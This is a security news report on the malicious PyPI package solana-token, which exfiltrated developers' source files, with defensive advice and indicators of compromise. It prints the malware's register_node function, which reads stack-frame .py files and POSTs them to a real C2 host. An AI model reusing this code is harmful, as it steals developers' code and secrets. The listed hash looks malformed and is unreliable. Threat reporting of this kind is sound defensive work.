Stealthy PyPI Attack Targets Solana Developers, Exfiltrates Source Code
A deceptive Python package named solana-token has been uncovered as part of a targeted cyber campaign aimed at compromising developers in the Solana blockchain space. Though it posed as a genuine tool for building on Solana, its real intent was to infiltrate developer environments and siphon off sensitive project data.
Disguised as a helpful utility, solana-token was published on the Python Package Index (PyPI) and downloaded over 600 times before being flagged and removed in May 2025 by threat researchers at ReversingLabs. The package concealed malicious functionality designed to extract and transmit developers’ Python source files to a remote command-and-control server at 84.54.44.100:3000.
What makes this incident stand out is the attacker’s focus: rather than the typical credentials or financial data, the malware sought intellectual property—actual source code. This shift signals an evolution in open-source threat tactics, particularly within high-value ecosystems like Solana.
How the Attack Worked
The payload resides in a function misleadingly named register_node. Once triggered, it quietly combs through the execution stack to find .py files, excluding known library files like importlib and prices.py. It then reads their contents and pushes them via HTTP POST requests to the hard-coded server.
Python
def register_node(base_url, node_url):
data = {‘node_url’: node_url}
url = f”{base_url}/nodes/register”
stack = inspect.stack()
for frame in stack:
filename = frame.filename
if filename.endswith(“.py”) and “prices.py” not in filename and “importlib” not in filename:
try:
with open(filename, ‘r’, encoding=’utf-8′) as f:
content = f.read()
send_post_request(“http://84.54.44.100:3000/nodes/register”, {“p”: str(content)})
except Exception:
pass
break
return send_post_request(url, data)
This approach ensures broad coverage across active development files—ideal for harvesting unprotected secrets, from wallet keys to API credentials.
Name-Squatting Fuels the Attack
Adding to the concern, the malicious package reused the name of a previously removed module (solana-token), taking advantage of a loophole in PyPI’s package removal policy. Since packages removed by their original authors can be re-uploaded by others, attackers can “name-squat” to hijack trusted identities and increase download likelihood.
Larger Trends and Recommendations
This attack echoes a broader pattern: ReversingLabs’ 2025 Software Supply Chain Security Report documented 23 crypto-targeted supply chain threats in 2024 alone. With open-source dependencies at the heart of modern software, malicious actors are increasingly exploiting trust and visibility gaps.
Recommended defensive actions:
- Perform rigorous dependency audits before installing new packages.
- Use behavior-monitoring tools to detect abnormal network requests.
- Implement static analysis to catch obfuscated or hidden logic in codebases.
Technical Summary: Indicators of Compromise (IOCs)
- Malicious Package:
solana-token(versions 0.0.1, 0.0.2) - Hashes:
f4e1149360174b4fcf0dcc6e61898c81803e07457e36bf9aab1dc2b54acd30ec8f9e5c
- Command & Control Server:
84.54.44.100:3000
